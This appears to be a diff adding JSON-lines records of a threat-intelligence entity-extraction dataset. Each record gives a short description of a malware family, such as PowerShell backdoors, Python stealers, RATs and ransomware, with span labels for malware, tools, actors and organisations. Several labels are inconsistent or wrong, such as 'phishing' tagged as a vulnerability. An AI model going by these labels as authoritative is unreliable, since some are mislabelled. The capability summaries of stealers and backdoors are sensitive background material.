+{"text": "PowerHarbor is a modular PowerShell-based malware that consists of various modules. The primary module maintains constant communication with the C2 server, executing and deleting additional modules received from it. Currently, the communication with the C2 server is encrypted using RSA encryption and hardcoded key data. Moreover, the main module incorporates virtual machine (VM) detection capabilities. The StealData module employs the Invoke-Stealer function as its core, enabling the theft of system information, browser-stored credentials, cryptocurrency wallet details, and credentials for various applications like Telegram, FileZilla, and WinSCP.", "spans": {"MALWARE: PowerHarbor": [[0, 11]], "TOOL: PowerShell": [[25, 35]], "TOOL: WinSCP": [[648, 654]], "SYSTEM: Telegram": [[623, 631]], "ORGANIZATION: RSA": [[283, 286]]}, "info": {"source": "apt_reports", "name": "PowerHarbor"}}
+{"text": "According to Insikt Group, PowerNet is a custom Powershell loader that decompresses and executes NetSupport RAT.", "spans": {"MALWARE: PowerNet": [[27, 35]], "TOOL: NetSupport": [[97, 107]]}, "info": {"source": "apt_reports", "name": "PowerNet"}}
+{"text": "This powershell code is a PowerShell written backdoor used by FIN7. Regarding to Mandiant that is was revealed to be a \"vast backdoor framework with a breadth of capabilities, depending on which modules are delivered from the C2 server.\"", "spans": {"THREAT_ACTOR: FIN7": [[62, 66]], "TOOL: PowerShell": [[26, 36]], "TOOL: powershell": [[5, 15]], "ORGANIZATION: Mandiant": [[81, 89]]}, "info": {"source": "apt_reports", "name": "POWERPLANT"}}
+{"text": "POWERSOURCE is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. The backdoor uses DNS TXT requests for command and control and is installed in the registry or Alternate Data Streams.", "spans": {"MALWARE: POWERSOURCE": [[0, 11]]}, "info": {"source": "apt_reports", "name": "POWERSOURCE"}}
+{"text": "POWERSTATS is a backdoor written in powershell.\r\nIt has the ability to disable Microsoft Office Protected View, fingerprint the victim and receive commands.", "spans": {"MALWARE: POWERSTATS": [[0, 10]], "TOOL: powershell": [[36, 46]], "SYSTEM: Microsoft Office": [[79, 95]], "ORGANIZATION: Microsoft": [[79, 88]]}, "info": {"source": "apt_reports", "name": "POWERSTATS"}}
+{"text": "This PowerShell written malware is an in-memory dropper used by FIN7 to execute the included/embedded payload. According to Mandiant's blog article: \"POWERTRASH is a uniquely obfuscated iteration of a shellcode invoker included in the PowerSploit framework available on GitHub.\"", "spans": {"MALWARE: POWERTRASH": [[150, 160]], "THREAT_ACTOR: FIN7": [[64, 68]], "TOOL: PowerShell": [[5, 15]], "TOOL: PowerSploit": [[235, 246]], "SYSTEM: GitHub": [[270, 276]], "ORGANIZATION: Mandiant": [[124, 132]]}, "info": {"source": "apt_reports", "name": "POWERTRASH"}}
+{"text": "PowerZure is a PowerShell project created to assess and exploit resources within Microsoft’s cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, AzureAD, and the associated resources.", "spans": {"MALWARE: PowerZure": [[0, 9], [116, 125]], "TOOL: PowerShell": [[15, 25]], "SYSTEM: Azure": [[109, 114], [227, 232]], "ORGANIZATION: Microsoft": [[81, 90]]}, "info": {"source": "apt_reports", "name": "PowerZure"}}
+{"text": "DLL loader that decrypts and runs a powershell-based downloader.", "spans": {"TOOL: powershell": [[36, 46]]}, "info": {"source": "apt_reports", "name": "PowGoop"}}
+{"text": "The family is adding a fake root certificate authority, sets a proxy.pac-url for local browsers and redirects infected users to fake banking applications (currently targeting Poland). Based on information shared, it seems the PowerShell script is dropped by an exploit kit.", "spans": {"TOOL: PowerShell": [[226, 236]]}, "info": {"source": "apt_reports", "name": "PresFox"}}
+{"text": "A set of powershell scripts, using services like Google Docs and Dropbox as C2.", "spans": {"TOOL: powershell": [[9, 19]], "ORGANIZATION: Google": [[49, 55]]}, "info": {"source": "apt_reports", "name": "RandomQuery"}}
+{"text": "According to Trellix, this is a first-stage, powershell-based malware dropped via Excel/VBS. It is able to establish a foothold and exfiltrate data. Targets identified include hotels in Macao.", "spans": {"TOOL: powershell": [[45, 55]], "ORGANIZATION: Trellix": [[13, 20]]}, "info": {"source": "apt_reports", "name": "RMOT"}}
+{"text": "Toolkit downloader used by Royal Ransomware group, involving GnuPG for decryption.", "spans": {"MALWARE: Royal": [[27, 32]]}, "info": {"source": "apt_reports", "name": "Royal Ransom"}}
+{"text": "According to Trend Micro, SilentPrism is a backdoor malware designed to achieve persistence, dynamically execute shell commands, and maintain unauthorized remote control of compromised systems. It implements persistence mechanisms differently based on user privileges: for non-administrative users, it leverages the Windows registry to create auto-run entries using mshta.exe combined with VBScript to download and execute remote payloads; for administrative users, it deploys scheduled tasks with similar execution methods. SilentPrism retrieves additional payloads and instructions from a C&C server, ensuring modular functionality. The malware communicates with its C&C server using encrypted channels, employing AES encryption and Base64 encoding to obfuscate data. Commands received are decrypted and executed in various ways, including direct PowerShell script execution, dynamic script block creation, or job-based execution. Each task is tracked using unique identifiers, allowing the malware to monitor execution states and return results to the server. SilentPrism incorporates anti-analysis techniques such as virtual machine detection and randomized sleep intervals (ranging from 300 to 700 milliseconds) between operations, making its behavior less predictable. Additionally, it continuously polls the C&C server for commands, enabling operators to dynamically control infected systems.", "spans": {"MALWARE: SilentPrism": [[26, 37], [525, 536], [1063, 1074]], "TOOL: PowerShell": [[849, 859]], "TOOL: mshta": [[366, 371]], "SYSTEM: Windows": [[316, 323]], "SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "SilentPrism"}}
+{"text": "sLoad is a PowerShell downloader that most frequently delivers Ramnit banker and includes noteworthy reconnaissance features. The malware gathers information about the infected system including a list of running processes, the presence of Outlook, and the presence of Citrix-related files. sLoad can also take screenshots and check the DNS cache for specific domains (e.g., targeted banks), as well as load external binaries.", "spans": {"MALWARE: sLoad": [[0, 5], [290, 295]], "TOOL: PowerShell": [[11, 21]], "SYSTEM: Citrix": [[268, 274]], "SYSTEM: Outlook": [[239, 246]], "MALWARE: Ramnit": [[63, 69]]}, "info": {"source": "apt_reports", "name": "sLoad"}}
+{"text": "Recon and exfiltration script, dropped from a LNK file. Attributed to APT-C-12.", "spans": {"THREAT_ACTOR: APT-C-12": [[70, 78]]}, "info": {"source": "apt_reports", "name": "Unidentified PS 001"}}
+{"text": "A Powershell-based RAT capable of pulling further payloads, delivered through Russia-themed phishing mails.", "spans": {"VULNERABILITY: phishing": [[92, 100]]}, "info": {"source": "apt_reports", "name": "Unidentified PS 002 (RAT)"}}
+{"text": "This malware is a RAT written in PowerShell. It has the following capabilities: Downloading and Uploading files, loading and execution of a PowerShell script, execution of a specific command. It was observed by Malwarebytes LABS Threat Intelligence Team in a newly discovered campaign: this campaigns tries to lure Germans with a promise of updates on the current threat situation in Ukraine according to Malwarebyte LABS.", "spans": {"TOOL: PowerShell": [[33, 43], [140, 150]]}, "info": {"source": "apt_reports", "name": "Unidentified PS 003 (RAT)"}}
+{"text": "According to CERT-UA, this is a stealer targeting a range of file extensions and creating screenshots of the compromised machine to be then uploaded via cURL.", "spans": {"ORGANIZATION: CERT-UA": [[13, 20]]}, "info": {"source": "apt_reports", "name": "WRECKSTEEL"}}
+{"text": "According to Fortinet, Amnesia RAT is written in Python and designed for broad, multi-category data theft combined with real-time surveillance and system control.  Its capabilities include: Browser credentials and session data, Telegram Desktop session hijacking, Seed phrase discovery and clipboard monitoring, Discord and Steam data theft, Cryptocurrency wallets and financial assets, System and hardware intelligence, Screen, audio, and activity surveillance, Process and system control, Persistence, multiple exfiltration channels.", "spans": {"MALWARE: Amnesia RAT": [[23, 34]], "SYSTEM: Fortinet": [[13, 21]], "SYSTEM: Python": [[49, 55]], "SYSTEM: Telegram": [[228, 236]], "SYSTEM: Discord": [[312, 319]], "VULNERABILITY: session hijacking": [[245, 262]]}, "info": {"source": "apt_reports", "name": "Amnesia RAT"}}
+{"text": "According to Laceworks, this is a SMTP cracker, which is primarily intended to scan for and parse Laravel application secrets from exposed .env files. Note: Laravel is an open source PHP framework and the Laravel .env file is often targeted for its various configuration data including AWS, SendGrid and Twilio. AndroxGh0st has multiple features to enable SMTP abuse including scanning, exploitation of exposed creds and APIs, and even deployment of webshells. For AWS specifically, the malware scans for and parses AWS keys but also has the ability to generate keys for brute force attacks. However, the brute force capability is likely a novelty and is a statistically unlikely attack vector.", "spans": {"MALWARE: AndroxGh0st": [[312, 323]], "SYSTEM: PHP": [[183, 186]], "SYSTEM: AWS": [[286, 289], [465, 468], [516, 519]], "VULNERABILITY: brute force": [[571, 582], [605, 616]]}, "info": {"source": "apt_reports", "name": "AndroxGh0st"}}
+{"text": "According to Prodaft, this is a Python-based backdoor used by the Savage Ladybug (FIN7) group is developed to provide remote access, execute commands, and steal data. It is obfuscated to avoid detection.", "spans": {"THREAT_ACTOR: FIN7": [[82, 86]], "SYSTEM: Python": [[32, 38]]}, "info": {"source": "apt_reports", "name": "Anubis Backdoor"}}
+{"text": "Ares is a Python RAT.", "spans": {"MALWARE: Ares": [[0, 4]], "SYSTEM: Python": [[10, 16]]}, "info": {"source": "apt_reports", "name": "Ares"}}
+{"text": "Stealer written in Python 3, typically distributed bundled via PyInstaller.", "spans": {"SYSTEM: Python": [[19, 25]]}, "info": {"source": "apt_reports", "name": "BlankGrabber"}}
+{"text": "According to K7 Security Labs, Braodo Stealer is written in Python and collects all cookies and saved credentials from the browsers and all services and process information of that particular system as a zip file, which is then exfiltrated to a Telegram Channel.", "spans": {"MALWARE: Braodo": [[31, 37]], "SYSTEM: Python": [[60, 66]], "SYSTEM: Telegram": [[245, 253]]}, "info": {"source": "apt_reports", "name": "Braodo"}}
+{"text": "According to CERT-UA, this is a PyArmor-protected backdoor capable of execution dynamically downloaded Python code.", "spans": {"SYSTEM: Python": [[103, 109]], "ORGANIZATION: CERT-UA": [[13, 20]]}, "info": {"source": "apt_reports", "name": "CHERRYSPY"}}
+{"text": "Creal is an open-source grabber/credential stealer that was originally made by a GitHub user named Ayhuuu, who even advertised a \"premium\" version on his now-deleted Telegram channel @Crealstealer. To the day of release, it was already not FUD, but its open-source nature made it attractive for threat actors to modify the base malware and even obfuscate it for less detection ratios. The base project came with a compiler, and the general source code the compiler used was PyInstaller for compilation into native formats like exe. For C2, Discord webhooks were utilized, which in later versions got protected with a service called https://stealer.to to make deletion not possible.\r\n\r\nIt Compromised following Data on Execution:\r\n\r\n* Discord Information\r\n* Browser Data\r\n* Crypto Related Data\r\n* Steam\r\n* Riot Games\r\n* Telegram\r\n* System Information\r\n* Tokens/Secrets", "spans": {"URL: https://stealer.to": [[632, 650]], "SYSTEM: GitHub": [[81, 87]], "SYSTEM: Telegram": [[166, 174], [819, 827]], "SYSTEM: Discord": [[540, 547], [734, 741]]}, "info": {"source": "apt_reports", "name": "Creal Stealer"}}
+{"text": "Discord Stealer written in Python with Javascript-based inject files.", "spans": {"SYSTEM: Python": [[27, 33]], "SYSTEM: Discord": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Empyrean"}}
+{"text": "Ransomware written in Python.", "spans": {"SYSTEM: Python": [[22, 28]]}, "info": {"source": "apt_reports", "name": "Evil Ant"}}
+{"text": "According to Kaspersky Labs, Guard is a malware developed by threat actor WildPressure. It is written in Python and packaged using PyInstaller, both for Windows and macOS operating systems. Its intrinsics resemble parts of how win.milum operates.", "spans": {"MALWARE: Guard": [[29, 34]], "THREAT_ACTOR: WildPressure": [[74, 86]], "SYSTEM: macOS": [[165, 170]], "SYSTEM: Kaspersky": [[13, 22]], "SYSTEM: Windows": [[153, 160]], "SYSTEM: Python": [[105, 111]]}, "info": {"source": "apt_reports", "name": "Guard"}}
+{"text": "According to CERT-UA, LAMEHUG uses an LLM (Qwen) to dynamically generate commands to gather basic information about a computer and recursively exfiltrate Office documents from a set of folders, to be uploaded either by SFTP or HTTP POST requests.", "spans": {"MALWARE: LAMEHUG": [[22, 29]], "ORGANIZATION: CERT-UA": [[13, 20]]}, "info": {"source": "apt_reports", "name": "LAMEHUG"}}
+{"text": "The author described LaZagne as an open source project used to retrieve lots of passwords stored on a local computer. It has been developed for the purpose of finding these passwords for the most commonly-used software. It is written in Python and provided as compiled standalone binaries for Linux, Mac, and Windows.", "spans": {"TOOL: LaZagne": [[21, 28]], "SYSTEM: Windows": [[309, 316]], "SYSTEM: Python": [[237, 243]], "SYSTEM: Linux": [[293, 298]]}, "info": {"source": "apt_reports", "name": "LaZagne"}}
+{"text": "This RAT written in Python is an open-source fork of the Ares RAT. This malware integrates additional modules, like recording, lockscreen, and locate options. It was used in a customized form version by El Machete APT in an ongoing champaign since 2020. The original code can be found at: https://github.com/TheGeekHT/Loki.Rat/", "spans": {"URL: https://github.com/TheGeekHT/Loki.Rat/": [[289, 327]], "THREAT_ACTOR: El Machete": [[203, 213]], "SYSTEM: Python": [[20, 26]], "MALWARE: Loki": [[318, 322]], "MALWARE: Machete": [[206, 213]], "MALWARE: Ares": [[57, 61]]}, "info": {"source": "apt_reports", "name": "Loki RAT"}}
+{"text": "An IRC bot written in (obfuscated) Python code. Distributed in attack campaign FreakOut, written by author Freak/Fl0urite and development potentially dating back as far as 2015.", "spans": {"MALWARE: FreakOut": [[79, 87]], "SYSTEM: Python": [[35, 41]]}, "info": {"source": "apt_reports", "name": "N3Cr0m0rPh"}}
+{"text": "According to eSentire, NightshadeC2 demonstrates an extensive capability set, including: Reverse shell via Command Prompt/PowerShell; Download and execute DLL or EXE; Self-deletion; Remote control; Screen capture; Hidden web browsers; Keylogging; clipboard content capturing. Certain variants have been found with stealing capabilities that enable the extraction of browser passwords and cookies from victim systems for both Gecko and Chromium based browsers.", "spans": {"MALWARE: NightshadeC2": [[23, 35]], "TOOL: PowerShell": [[122, 132]]}, "info": {"source": "apt_reports", "name": "NightshadeC2"}}
+{"text": "According to CERT-UA, this malware establishes a connection to the management server using web sockets and/or MQTT, data is transmitted in JSON format. Based on basic information about the computer (MAC address, BIOS serial number, disk and processor ID), it generates a unique device identifier using the SHA-256 algorithm (the first 16 bytes are used). It ensures the execution of the program code received from the server. Persistence is achieved by creating an entry in the Run branch of the operating system registry.", "spans": {"SYSTEM: BIOS": [[212, 216]], "ORGANIZATION: CERT-UA": [[13, 20]]}, "info": {"source": "apt_reports", "name": "PLUGGYAPE"}}
+{"text": "Cisco Talos has discovered a Python-based RAT they call Poet RAT. It is dropped from a Word document and delivered including a Python interpreter and required libraries. The name originates from references to Shakespeare. Exfiltration happens through FTP.", "spans": {"MALWARE: Poet RAT": [[56, 64]], "SYSTEM: Cisco": [[0, 5]], "SYSTEM: Python": [[29, 35], [127, 133]], "ORGANIZATION: Talos": [[6, 11]], "ORGANIZATION: Cisco Talos": [[0, 11]]}, "info": {"source": "apt_reports", "name": "Poet RAT"}}
+{"text": "PXA Stealer is an information-stealing malware written in Python, identified by Cisco Talos in an active campaign attributed to a Vietnamese-speaking threat actor (2024). The stealer targets sensitive data such as credentials for online accounts, VPN and FTP clients, financial information, browser cookies, and gaming-related data. Notably, PXA Stealer is capable of decrypting browser master passwords to exfiltrate stored credentials. The campaign leverages heavily obfuscated batch scripts for delivery and execution. The actor behind this operation is linked to the Telegram channel “Mua Bán Scan MINI,” known to host credential trade and cybercrime activity. While there are connections to the CoralRaider adversary, attribution to this group remains unconfirmed. In q2 2025 PXA stealer was observed to target Italy.", "spans": {"MALWARE: PXA Stealer": [[0, 11], [342, 353]], "MALWARE: PXA": [[0, 3], [342, 345], [781, 784]], "THREAT_ACTOR: CoralRaider": [[700, 711]], "SYSTEM: Cisco": [[80, 85]], "SYSTEM: Python": [[58, 64]], "SYSTEM: VPN": [[247, 250]], "SYSTEM: Telegram": [[571, 579]], "ORGANIZATION: Talos": [[86, 91]], "ORGANIZATION: Cisco Talos": [[80, 91]]}, "info": {"source": "apt_reports", "name": "PXA Stealer"}}
+{"text": "Python-version of GolangGhost RAT", "spans": {"SYSTEM: Python": [[0, 6]], "MALWARE: GolangGhost": [[18, 29]]}, "info": {"source": "apt_reports", "name": "PylangGhost"}}
+{"text": "According to its author, Pyramid is a post exploitation framework written in Python, capable of executing offensive tooling from a signed binary (e.g. python.exe) by importing their dependencies in memory. It was created to demonstrate a bypass strategy against EDRs based on some blind-spots assumptions.", "spans": {"MALWARE: Pyramid": [[25, 32]], "SYSTEM: Python": [[77, 83]]}, "info": {"source": "apt_reports", "name": "Pyramid"}}
+{"text": "According to Securonix, this malware exhibits remote access trojan (RAT) behavior, allowing for control of and persistence on the affected host. As with other RATs, PY#RATION possesses a whole host of features and capabilities, including data exfiltration and keylogging. What makes this malware particularly unique is its utilization of websockets for both command and control (C2) communication and exfiltration as well as how it evades detection from antivirus and network security measures.", "spans": {"MALWARE: PY#RATION": [[165, 174]], "VULNERABILITY: keylogging": [[260, 270]]}, "info": {"source": "apt_reports", "name": "PY#RATION"}}
+{"text": "PyVil RAT", "spans": {"MALWARE: PyVil": [[0, 5]]}, "info": {"source": "apt_reports", "name": "PyVil"}}
+{"text": "Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.", "spans": {"TOOL: Responder": [[0, 9]], "SYSTEM: SMB": [[67, 70]], "SYSTEM: LDAP": [[81, 85]]}, "info": {"source": "apt_reports", "name": "Responder"}}
+{"text": "According to Proofpoint, this is a backdoor written in Python, used in attacks against French entities in the construction, real estate, and government industries.", "spans": {"SYSTEM: Python": [[55, 61]], "ORGANIZATION: Proofpoint": [[13, 23]]}, "info": {"source": "apt_reports", "name": "Serpent"}}
+{"text": "Ransomware written in Python and delivered as compiled executable created using PyInstaller.", "spans": {"SYSTEM: Python": [[22, 28]]}, "info": {"source": "apt_reports", "name": "Venomous"}}
+{"text": "Venus Stealer is a python based Infostealer observed early 2023.", "spans": {"MALWARE: Venus Stealer": [[0, 13]]}, "info": {"source": "apt_reports", "name": "Venus Stealer"}}
+{"text": "A basic info stealer w/ some capability to inject code into legit applications.", "spans": {}, "info": {"source": "apt_reports", "name": "W4SP Stealer"}}
+{"text": "According to its author, PANIX is a powerful, modular, and highly customizable Linux persistence framework designed for security researchers, detection engineers, penetration testers, CTF enthusiasts, and more. Built with versatility in mind, PANIX emphasizes functionality, making it an essential tool for understanding and implementing a wide range of persistence techniques.", "spans": {"MALWARE: PANIX": [[25, 30], [243, 248]], "SYSTEM: Linux": [[79, 84]]}, "info": {"source": "apt_reports", "name": "PANIX"}}
+{"text": "A backdoor brought into version 5.6.0 and 5.6.1 of compression library/tool xz/liblzma, which was intended to enable access via (Open)SSH on affected servers.", "spans": {"TOOL: SSH": [[134, 137]]}, "info": {"source": "apt_reports", "name": "xzbot"}}
+{"text": "CageyChameleon Malware is a VBS-based backdoor which has the capability to enumerate the list of running processes and check for the presence of several antivirus products. CageyChameleon will collect user host information, system current process information, etc. The collected information is sent back to the C2 server, and continue to initiate requests to perform subsequent operations.", "spans": {"MALWARE: CageyChameleon": [[0, 14], [173, 187]]}, "info": {"source": "apt_reports", "name": "CageyChameleon"}}
+{"text": "According to ClearSky, this is a VBS-based wiper, deployed via exploitation of a vulnerable WinRAR version (CVE-2025-80880). They assess with medium confidence a link to Gamaredon.", "spans": {"CVE_ID: CVE-2025-80880": [[108, 122]], "TOOL: WinRAR": [[92, 98]], "ORGANIZATION: ClearSky": [[13, 21]]}, "info": {"source": "apt_reports", "name": "GamaWiper"}}
+{"text": "The HALFBAKED malware family consists of multiple components designed to establish and maintain a foothold in victim networks, with the ultimate goal of gaining access to sensitive financial information.\r\nHALFBAKED listens for the following commands from the C2 server:\r\n\r\n info: Sends victim machine information (OS, Processor, BIOS and running processes) using WMI \r\n         queries\r\n processList: Send list of process running\r\n screenshot: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1)\r\n runvbs: Executes a VB script\r\n runexe: Executes EXE file\r\n runps1: Executes PowerShell script\r\n delete: Delete the specified file\r\n update: Update the specified file", "spans": {"MALWARE: HALFBAKED": [[4, 13], [205, 214]], "TOOL: PowerShell": [[594, 604]], "SYSTEM: WMI": [[363, 366]], "SYSTEM: BIOS": [[329, 333]]}, "info": {"source": "apt_reports", "name": "HALFBAKED"}}
+{"text": "According to Sekoia, the aim of this backdoor is to receive VBS modules for execution from a remote C2 server. Once received, HATVIBE uses a simple XOR algorithm to decrypt each module, contact it between two <script> tags before adding it to the HTML body of the HTA file, leading to the automatic execution of the received module.", "spans": {"MALWARE: HATVIBE": [[126, 133]], "ORGANIZATION: Sekoia": [[13, 19]]}, "info": {"source": "apt_reports", "name": "HATVIBE"}}
+{"text": "Malware is delivered by emails, containing links to ZIP files or ZIP attachments. The ZIP contains a VBscript that, when executed, downloads additional files from AWS S3, Google Drive or other cloud hosting services. The downloaded files are encrypted .exe and .dll files.\r\nThe malware targets banking clients in Portugal.", "spans": {"SYSTEM: AWS": [[163, 166]], "ORGANIZATION: Google": [[171, 177]]}, "info": {"source": "apt_reports", "name": "lampion"}}
+{"text": "According to Google, LOSTKEYS is capable of stealing files from a hard-coded list of extensions and directories, along with sending system information and running processes to the attacker.", "spans": {"MALWARE: LOSTKEYS": [[21, 29]], "ORGANIZATION: Google": [[13, 19]]}, "info": {"source": "apt_reports", "name": "LOSTKEYS"}}
+{"text": "MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email. Based on Fireeye intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID.", "spans": {"MALWARE: MOUSEISLAND": [[0, 11], [274, 285]], "SYSTEM: Microsoft Word": [[17, 31]], "ORGANIZATION: Microsoft": [[17, 26]], "VULNERABILITY: phishing": [[146, 154]]}, "info": {"source": "apt_reports", "name": "MOUSEISLAND"}}
+{"text": "Downloads NodeJS when deployed.", "spans": {}, "info": {"source": "apt_reports", "name": "NodeJS Ransomware"}}
+{"text": "According to SentinelLabs, this is a VisualBasic-based malware that gathers system and file information and exfiltrates the data using InternetExplorer.Application or Microsoft.XMLHTTP objects.", "spans": {"ORGANIZATION: Microsoft": [[167, 176]]}, "info": {"source": "apt_reports", "name": "RandomQuery"}}
+{"text": "According to the author, this is a JavaScript based Empire launcher that runs with its own embedded powershell host to not be dependent on local powershell availability.", "spans": {"TOOL: Empire": [[52, 58]], "TOOL: powershell": [[100, 110], [145, 155]]}, "info": {"source": "apt_reports", "name": "Starfighter"}}
+{"text": "TAMECAT is PowerShell-based backdoor with modular components designed to facilitate data exfiltration and remote control", "spans": {"MALWARE: TAMECAT": [[0, 7]], "TOOL: PowerShell": [[11, 21]]}, "info": {"source": "apt_reports", "name": "TAMECAT"}}
+{"text": "Unnamed malware. Delivered as remote template that drops a VBS file, which uses LOLBINs to crawl the disk and exfiltrate data zipped up via winrar.", "spans": {}, "info": {"source": "apt_reports", "name": "Unidentified 002 (Operation Kremlin)"}}
+{"text": "Lab52 describes this as a light first-stage RAT used by MuddyWater and observed samples between at least November 2020 and January 2022.", "spans": {"THREAT_ACTOR: MuddyWater": [[56, 66]], "ORGANIZATION: Lab52": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Unidentified VBS 004 (RAT)"}}
+{"text": "According to Mandiant, VBREVSHELL is a VBA macro that spawns a reverse shell relying exclusively on Windows API calls.", "spans": {"MALWARE: VBREVSHELL": [[23, 33]], "SYSTEM: Windows": [[100, 107]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "VBREVSHELL"}}
+{"text": "Information stealer, based on strings it seems to target crypto currencies, instant messengers, and browser data.", "spans": {}, "info": {"source": "apt_reports", "name": "0bj3ctivityStealer"}}
+{"text": "According to CrowdStrike, this backdoor was discovered being embedded in a legitimate, signed version of 3CXDesktopApp, and thus constitutes a supply chain attack.", "spans": {"ORGANIZATION: CrowdStrike": [[13, 24]], "VULNERABILITY: supply chain attack": [[143, 162]]}, "info": {"source": "apt_reports", "name": "3CX Backdoor"}}
+{"text": "Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victim’s sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.", "spans": {"MALWARE: 404 Keylogger": [[21, 34]], "MALWARE: Snake Keylogger": [[0, 15]], "SYSTEM: Telegram": [[450, 458]], "VULNERABILITY: keylogger": [[60, 69]], "MALWARE: Snake": [[0, 5]]}, "info": {"source": "apt_reports", "name": "404 Keylogger"}}
+{"text": "Downloader used in suspected APT attack against Vietnam.", "spans": {}, "info": {"source": "apt_reports", "name": "5.t Downloader"}}
+{"text": "The NJCCIC describes 7ev3n as a ransomware \"that targets the Windows OS and spreads via spam emails containing malicious attachments, as well as file sharing networks. It installs multiple files in the LocalAppData folder, each of which controls different functions including disabling bootup recovery options, deleting the ransomware installation file, encrypting data, and gaining administrator privileges. This variant also adds registry keys that disables various Windows function keys such as F1, F3, F4, F10, Alt, Num Lock, Ctrl, Enter, Escape, Shift, and Tab. Files encrypted by 7ev3n are labeled with a .R5A extension. It also locks victims out of Windows recovery options making it challenging to repair the damage done by 7ev3n.\"", "spans": {"MALWARE: 7ev3n": [[21, 26], [586, 591], [732, 737]], "SYSTEM: Windows": [[61, 68], [468, 475], [656, 663]]}, "info": {"source": "apt_reports", "name": "7ev3n"}}
+{"text": "The 8Base ransomware group has remained relatively unknown despite the massive spike in activity in Summer of 2023. The group utilizes encryption paired with “name-and-shame” techniques to compel their victims to pay their ransoms. 8Base has an opportunistic pattern of compromise with recent victims spanning across varied industries. Despite the high amount of compromises, the information regarding identities, methodology, and underlying motivation behind these incidents still remains a mystery. Samples of their ransomware show they are using customized Phobos with SmokeLoader.", "spans": {"MALWARE: 8Base": [[4, 9], [232, 237]], "MALWARE: Phobos": [[560, 566]], "MALWARE: SmokeLoader": [[572, 583]]}, "info": {"source": "apt_reports", "name": "8Base"}}
+{"text": "8T_Dropper has been used by Chinese threat actor TA428 in order to install Cotx RAT onto victim's machines during Operation LagTime IT. According to Proofpoint the attack was developed against a number of government agencies in East Asia overseeing government information technology, domestic affairs, foreign affairs, economic development, and political processes. The dropper was delivered through an RTF document exploiting CVE-2018-0798.", "spans": {"CVE_ID: CVE-2018-0798": [[427, 440]], "MALWARE: 8T_Dropper": [[0, 10]], "THREAT_ACTOR: TA428": [[49, 54]], "ORGANIZATION: Proofpoint": [[149, 159]]}, "info": {"source": "apt_reports", "name": "8.t Dropper"}}
+{"text": "9002 RAT is a Remote Access Tool typically observed to be used by an APT to control a victim's machine. It has been spread over via zero day exploits (e.g. targeting Internet Explorer) as well as via email attachments. The infection chain starts by opening a .LNK (an OLE packager shell object) that executes a Powershell command.", "spans": {"MALWARE: 9002 RAT": [[0, 8]], "SYSTEM: Internet Explorer": [[166, 183]], "VULNERABILITY: zero day": [[132, 140]]}, "info": {"source": "apt_reports", "name": "9002 RAT"}}
+{"text": "Uses Discord as C&C, has ransomware feature.", "spans": {"SYSTEM: Discord": [[5, 12]]}, "info": {"source": "apt_reports", "name": "Abaddon"}}
+{"text": "MajorGeeks describes this malware as trying to locate credit card data by reading the memory of all processes except itself by first blacklisting its own PID using the GetCurrentProcessId API. Once that data is discovered, it sends this data back to a command and control server using a custom binary protocol instead of HTTP.", "spans": {}, "info": {"source": "apt_reports", "name": "AbaddonPOS"}}
+{"text": "A Linux backdoor that was apparently ported to Windows. This entry represents the Windows version. It appears the Linux version was written first and the Windows version was ported later, without full functionality. The Linux version offers persistence as well as some process manipulation techniques, though both versions apparently offer the ability to access the command line and execute programs as well as self-update.", "spans": {"SYSTEM: Windows": [[47, 54], [82, 89], [154, 161]], "SYSTEM: Linux": [[2, 7], [114, 119], [220, 225]]}, "info": {"source": "apt_reports", "name": "ACBackdoor"}}
+{"text": "ACEHASH is described by FireEye as combined credential harvester that consists of two components, a loader and encrypted/compressed payload. To execute, a password is necessary (e.g. 9839D7F1A0) and the individual modules are addressed with parameters (-m, -w, -h).", "spans": {"MALWARE: ACEHASH": [[0, 7]], "ORGANIZATION: FireEye": [[24, 31]]}, "info": {"source": "apt_reports", "name": "ACEHASH"}}
+{"text": "Unit42 found AcidBox in February 2019 and describes it as a malware family used by an unknown threat actor in 2017 against Russian entities, as stated by Dr.Web. It reused and improved an exploit for VirtualBox previously used by Turla. The malware itself is a modular toolkit, featuring both usermode and kernelmode components and anti-analysis techniques such as stack-based string obfuscation or dynamic XOR-encoded API usage.", "spans": {"MALWARE: AcidBox": [[13, 20]], "THREAT_ACTOR: Turla": [[230, 235]]}, "info": {"source": "apt_reports", "name": "AcidBox"}}
+{"text": "AcridRain is a password stealer written in C/C++.  This malware can steal credentials, cookies, credit cards from multiple browsers. It can also dump Telegram and Steam sessions, rob Filezilla recent connections, and more.", "spans": {"MALWARE: AcridRain": [[0, 9]], "SYSTEM: Telegram": [[150, 158]]}, "info": {"source": "apt_reports", "name": "AcridRain"}}
+{"text": "First introduced in March 2024, ACR Stealer is an information stealer sold as a Malware-as-a-Service (MaaS) on Russian-speaking cybercrime forums by a threat actor named \"SheldIO\". Researchers posit that this malware is an evolved version of the GrMsk Stealer, which likely aligns with the private stealer that SheldIO has been selling since July 2023. The malware, written in C++, is compatible with Windows 7 through 10, and the seller manages all command and control (C2) infrastructure. ACR Stealer can harvest system information, stored credentials, web browser cookies, cryptocurrency wallets, and configuration files for various programs. Additionally, it employs the dead drop resolver (DDR) technique to obfuscate the actual C2 infrastructure.", "spans": {"MALWARE: ACR Stealer": [[32, 43], [491, 502]], "SYSTEM: Windows": [[401, 408]], "SYSTEM: Windows 7": [[401, 410]]}, "info": {"source": "apt_reports", "name": "ACR Stealer"}}
